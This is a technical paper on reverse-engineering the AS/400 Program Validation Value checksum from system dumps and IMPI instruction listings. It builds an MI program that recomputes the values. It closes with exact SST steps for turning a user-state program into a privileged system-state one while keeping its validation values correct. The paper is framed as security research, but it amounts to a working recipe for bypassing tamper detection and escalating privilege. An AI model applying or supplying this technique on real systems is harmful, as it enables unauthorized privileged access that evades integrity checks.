Program Validation for CISC AS/400s

Leif Svalgaard

During an AS/400 program encapsulation operation, a built-in OS/400 system routine calculates( a Program Validation Value that takes into account the object domain, the program state, and the instruction stream. This process imprints each program with a set of binary values that may be verified at any time to ensure that the program has not been altered since its creation. A much sought after alteration is to change the program’s state from user state to system state. In this paper we shall show how to alter the program validation value in such a way that it is correct after altering the state from user state to system state.  System state programs are privileged and can access sensitive system areas at will. 

What Information Do We Have?

Joseph S. Park states( that “the validation value seems to be derived using a multipart, yet simple, numerical hashing algorithm rather than traditional encryption techniques”. He also in other places repeatedly refers to the validation values (plural) suggesting that several values are computed. This also ties in with the reference to a “multipart” algorithm. He does not reveal where these values are stored. This will be our first challenge.

Where Are the Program Validation Values?

Create a very simple MI-program:

DCL DD DATA BIN(4) INIT(H'1234');

ENTRY * EXT;

PEND;

Dump the program using System Service Tools (STRSST):

     DISPLAY/ALTER/DUMP                                                                            10/11/99  11:31:36   PAGE      1

MI PROGRAM                   SUBTYPE:  01      NAME:  X                                   ADDRESS:  0041  07A67600 0000

SEGMENT HEADER   (YYSGHDR)

    TYPE  01   FLAGS  91   SIZE  0002   EXT  0041   OBJ  07A67600 0000   SPLOC  07A67700 0020

EPA HEADER   (YYEPAHDR)

    ATT1   80               JOPT   00               TYPE   02               STYP   01

    NAME   X

    SPATT  80               SPIN   00               SPSZ   480              OSIZ   00000009         PBAU   FF1C

    VER    3201             TIME   10/11/99  11:31:04                       UP@    002E 00EF5E00 0000

    AG@    0000 00000000 0000                       CT@    002E 02FC0C00 0000                       OHDR   0041 07A67600 0100

    RCVY   00000000         PERF   01000000         MDTS   10/11/99  11:31:04                       JP@    0000 00000000 0000

    COB@   0000 00000000 0000                       JID    00000000000000000000                     OWAU   FF1C

    IPL#   00000041         AL1    0000000000000000

   07A67600 0000    01910002 00410001  004107A6 76000000    40010000 00000000  004107A6 77000020  *................ ...............*

   07A67600 0020    80000201 E7404040  40404040 40404040    40404040 40404040  40404040 40404040  *....X                           *

The domain (0001 = user) is shown above at offset (hex) +0006. The program state (0001 = user) is shown at offset (hex) +015C:

OBJECT SPECIFIC HEADER   (XPGMHDR)

    ATTR   4081200004000000                         CODE   000200           ISSZ   000206           ISNO   00000001

    LSTB   0002B0           IEXT   0041             @IS    07A67600 0000    PGEC   000000           @SIC   07A67600 0210

    SICS   00005A           SCEP   000038           @EOL   07A67600 0270    EOLN   0002             EOLS   000038

    @EXD   07A67600 02B0    EXDN   0000             EXDS   0000             BOMO   0002B0           BOMS   000001

    BSIZ   00               @TIP   00000000 0000    MEC@   0000 00000000 0000                       MDTG   004107A675000020

    MDTS   000A0C

   07A67600 0100    40812000 04000000  004107A6 75000020    000A0C00 004107A6  76000000 00020000  * ...............................*

   07A67600 0120    00000000 00010002  060002B0 000A2B00    000007A6 76000210  00005A00 003807A6  *................................*

   07A67600 0140    76000270 00020000  382007A6 760002B0    00000000 0002B000  00010000 0001A8B1  *................................*

   07A67600 0160    80FC0000 01100120  00000000 00000000    0000A8B2 00020000  00000000 00000000  *................................*

Just next to the program state is a 16-bit value: 0001A8B1. If you change the MI-program slightly, this value changes as well. In addition, two other 16-bit values:  A8B2 0002 starting at offsets (hex) +0172 and +0174 also change. It seems a good guess that these three halfwords collectively constitute the program validation values:

OBJECT SPECIFIC HEADER   (XPGMHDR)

   07A67600 0100    40812000 04000000  004107A6 75000020    000A0C00 004107A6  76000000 00020000 

   07A67600 0120    00000000 00010002  060002B0 000A2B00    000007A6 76000210  00005A00 003807A6  

   07A67600 0140    76000270 00020000  382007A6 760002B0    00000000 0002B000  00010000 0001A8B1  

   07A67600 0160    80FC0000 01100120  00000000 00000000    0000A8B2 00020000  00000000 00000000  

Calculating the Program Validation Values

The little program we are examining has precisely one IMPI instruction and is only six bytes long:

IMPI INSTRUCTIONS

07A67600 0200   0200  A8B0 0000 0000  FNC2   X'000'(PGM), X'000'(PGM), X'B0'

This is not much to work with, although there is a tantalizing hint in the fact that ‘A8B’ can be found in two of the three validation values as well as in the program itself. Let us try a different little program: 

ENTRY * EXT;

PEND;

Interestingly enough, although the program certainly looks shorter, it is actually longer. The IMPI instructions are:

07A5D400 0238   0238  15F3            LR     B15, ICB                       

07A5D400 023A   023A  2BF0            UNSTK  B15                            

07A5D400 023C   023C  E120 F0D4 0250  TMBIBO X'0D4'(B15), X'20', X'0250'    

07A5D400 0242   0242  E104 30D4 0256  TMBIBO X'0D4'(ICB), X'04', X'0256'    

07A5D400 0248   0248  951E F018       LM     B1, 15, X'018'(B15)            

07A5D400 024C   024C  8F00 3078       BALL   H0, PGM, X'078'(ICB)           

07A5D400 0250   0250  A8AE 0000 0000  FNC2   X'000'(PGM), X'000'(PGM), X'AE'

07A5D400 0256   0256  A8AF 0000 0000  FNC2   X'000'(PGM), X'000'(PGM), X'AF'

In the ‘object specific header’ we find the validation values: 

07A5D400 0140    D4000290 00020000  382007A5 D40002D0    00000000 0002D000  00030000 0001C061
07A5D400 0160    80FC0000 01100120  00000000 00000000    0000F708 C95F0000  00000000 00000000

Or pulled out for clarity:

 +015C: C061  ; V1

 +0172: F708  ; V2

 +0174: C95F  ; V3

Simply adding up all the halfwords from offset 0238 through 025B and retaining only the low-order halfword of the result yields C060. This is very close to the V1 value, just as we found for the first little program. In both cases, the difference is 1. Also, V2 + V3 = 1C067, where the low-order 16 bits are almost the same as V1. Trying this on several other small programs confirms this conjecture. There are still small differences, but in general it seems that V1 ≈ V2 + V3. One way this could happen would be if V2 were the sum of all odd numbered halfwords and V3 were the sum of all even numbered halfwords. In other words: add up every other halfword starting at either the first for V2 or the second for V3. Marking the halfwords as follows:

07A5D400 0238   0238  15F3            LR     B15, ICB                       

07A5D400 023A   023A  2BF0            UNSTK  B15                            

07A5D400 023C   023C  E120 F0D4 0250  TMBIBO X'0D4'(B15), X'20', X'0250'    

07A5D400 0242   0242  E104 30D4 0256  TMBIBO X'0D4'(ICB), X'04', X'0256'    

07A5D400 0248   0248  951E F018       LM     B1, 15, X'018'(B15)            

07A5D400 024C   024C  8F00 3078       BALL   H0, PGM, X'078'(ICB)           

07A5D400 0250   0250  A8AE 0000 0000  FNC2   X'000'(PGM), X'000'(PGM), X'AE'

07A5D400 0256   0256  A8AF 0000 0000  FNC2   X'000'(PGM), X'000'(PGM), X'AF'

and adding odd and even-numbered halfwords separately, we get:

sum of odd-numbered halfwords  
 =  2F703
V2 = F708
sum of even-numbered halfwords
 =  3C95D
V3 = C95F
The low-order 16 bits of the sums are very close to V2 and V3. Again, trying this out on several other small programs confirms the conjecture that two separate running sums are made from alternating halfwords.

With this confirmed, we now turn to the differences. Since the program’s state and domain are supposed to be folded into the validation values, we could conjecture that we have the small differences simply because we are not yet taking the state and domain values into account. An obvious guess is that the reason V1 is 1 higher than the sum (modulo 16 bits) of all the halfwords is that we should add in the state (which has the value 1 for these user state programs).

Returning to the very first little program we tried, we remember that we had: 

 +015C: A8B1  ; V1
 sum of all halfwords
A8B0
 +0172: A8B2  ; V2
 sum of odd-numbered 
A8B0
 +0174: 0002  ; V3
 sum of even-numbered
0000

Since the state value is 1 and the domain value is also 1, we cannot really tell them apart (yet), but we might guess that V2 includes twice the state and V3 includes twice the domain, because V2 and V3 are both 2 too large. We can actually test this guess by using SST to change the program state from user to system. Since the value for system state is hex 80 we should add hex 80 to A8B0 for V1 (=A930) and twice hex 80 to A8B0 for V2 (=A9B0); then save and restore the program to see if it does that without complaint. The result of the test bears out the conjecture.

Adding twice the state and domain to our sums for the second program yields:

          sum of odd-numbered halfwords plus twice the state         =  2F703 + 2 = 2F705   V2 = F708
          sum of even-numbered halfwords plus twice the domain   =  3C95D + 2 = 3C95F   V3 = C95F
Now V3 is correct, but V2 is still 3 too large. When creating hash sums like this, it is common practice not simply to discard the high-order bits, but to fold them back into the result. Noticing that the high-order bits of the even-numbered sum is also 3, leads us to conjecture that the high-order bits of V3 should be folded into the low-order bits of V2. We note, for the record, that we also conjectured that the high-order bits (2 in the example above) of the odd-numbered sum should be folded into the low-order bits of V3. This conjecture turned out to be wrong – as were a few other ones along the way.

Let’s try another little program (just adding a line to the first program): 

DCL DD DATA BIN(4) INIT(H'1234');

ENTRY * EXT;

CPYNV DATA, H'ABCD';

PEND;

07A67A00 0140  7A000280 00020000  382007A6 7A0002C0  00000000 0002C000  00020000 000193EB
07A67A00 0160  80FC0000 01200120  00000000 00000000  00005614 BDDB0000  00000000 00000000

IMPI INSTRUCTIONS

07A67A00 0210     0210    3411              SLWR   W1, W1                         

07A67A00 0212     0212    8410 0200         LH     H1, X'200'(PGM)                

07A67A00 0216     0216    9119 2000         STW    W1, X'000'(B2)                 

07A67A00 021A     021A    A8B0 0000 0000    FNC2   X'000'(PGM), X'000'(PGM), X'B0'

         sum of all halfwords plus the state                                      =  213EA + 1 = 213EB   V1 = 93EB
         sum of odd-numbered halfwords plus twice the state         =   5611 + 2 =  5613   V2 = 5614
         sum of even-numbered halfwords plus twice the domain   =  1BDD9 + 2 = 1BDDB   V3 = BDDB

Adding in the high-order bits (1) of the even-numbered halfwords again makes V2 come out correct. The high-order bit of V1 is now wrong. That was initially quite a disappointment, but further investigation of many other programs revealed that the high-order bit of V1 was always set, while on the average it should only have been set half of the time.  So we simply posit that the high-order bit should always be set.

The Validation Algorithm

We can now summarize our investigation as a short MI-program that for a given other program will compute the program validation values from the IMPI instructions and that program’s state and domain values. The program needs a space pointer to the program code. We leave undefined for the moment how to obtain such a pointer:

DCL SPCPTR .PGM; /* points to program object */
DCL SPCPTR .HALFWORD;

DCL DD      HALFWORD;

DCL DD VALIDATION-SUMS CHAR(14);

    DCL DD STATE-SUM         BIN(4) DEF(VALIDATION-SUMS) POS( 1);

    DCL DD DOMAIN-SUM        BIN(4) DEF(VALIDATION-SUMS) POS( 5);

        DCL DD DOMAIN-SUM-HI BIN(2) DEF(DOMAIN-SUM)      POS( 1);

    DCL DD TOTAL-SUM         BIN(4) DEF(VALIDATION-SUMS) POS( 9);

    DCL DD EVEN-ODD          BIN(2) DEF(VALIDATION-SUMS) POS(13);

DCL DD VALIDATION-VALUES CHAR(6);

    DCL DD V1-VALUE CHAR(2) DEF(VALIDATION-VALUES) POS(1);

    DCL DD V2-VALUE CHAR(2) DEF(VALIDATION-VALUES) POS(3);

    DCL DD V3-VALUE CHAR(2) DEF(VALIDATION-VALUES) POS(5);

DCL DD WORD       BIN(4);

DCL DD CUR-OFFSET BIN(4);

DCL DD CODE-SIZE  BIN(4);

    CPYBREP   VALIDATION-SUMS, X‘00’;

    CPYBRAP   CUR-OFFSET, PGM-CODE, 0; /* CODE is at offset 011C */
    CPYBRAP   CODE-TOP,   PGM-ISSZ, 0; /* ISSZ is at offset 0126 */
ADD-TO-SUMS:

    CMPNV(B)  CUR-OFFSET, CODE-TOP/EQ(FIX-UP);

    ADDSPP   .HALFWORD, .PGM, CUR-OFFSET;

    CPYBRAP   WORD, HALFWORD, 0; /* extend */
    ADDN(S)   CUR-OFFSET, 2;

    SUBN(B)   EVEN-ODD, 1, EVEN-ODD/POS(=+2);

    ADDN(BS)  DOMAIN-SUM, WORD/NNAN(ADD-TO-SUMS);:

    ADDN(BS)  STATE-SUM,  WORD/NNAN(ADD-TO-SUMS);:

FIX-UP:

    ADDN      TOTAL-SUM, STATE-SUM, DOMAIN-SUM;

    CPYBRAP   WORD, PGM-DOMAIN, 0; /* at offset 0006 */
    ADDN(S)   DOMAIN-SUM, WORD;

    ADDN(S)   DOMAIN-SUM, WORD;  /* twice the domain  */

    CPYBRA    V3, DOMAIN-SUM;    /* extract low-order */
    CPYBRAP   WORD, PGM-STATE, 0; /* at offset 015C */
    ADDN(S)   STATE-SUM, WORD;

    ADDN(S)   STATE-SUM, WORD;   /* twice the state   */
    ADDN(S)   STATE-SUM, DOMAIN-SUM-HI;

    CPYBRA    V2, STATE-SUM;     /* extract low-order */ 

    ADDN(S)   TOTAL-SUM, WORD;   /* once the state    */
    CPYBRA    V1, TOTAL-SUM;     /* extract low-order */
    OR(S)     V1, X’8000’;       /* set high bit      */

Changing to System State

If all we want to do is to change the program from a user state program to a system state program, we do not need the full algorithm, nor do we need to obtain a pointer to the program object’s code. The system state value is (hex) 80, while the user state value is (hex) 01. The difference is thus (hex) 7F. Using SST execute the following steps:

• Change the state value at offset 015C to 0080

• Locate V1 at offset 015E, add 7F to it, and set the high-order bit unconditionally 

• Locate V2 at offset 0172, add 7F to it twice 

That is all. The program is now a system state program with correct program validation values.
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“To IBM’s credit, cracking the program validation value calculation algorithm is not an undertaking for the lighthearted” (Joseph S. Park, AS/400 Security in a Client/Server Environment, 1995, John Wiley, ISBN 0-471-11683-1, pg. 117)
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(Joseph S. Park, AS/400 Security in a Client/Server Environment, 1995, John Wiley, ISBN 0-471-11683-1, pg. 118)








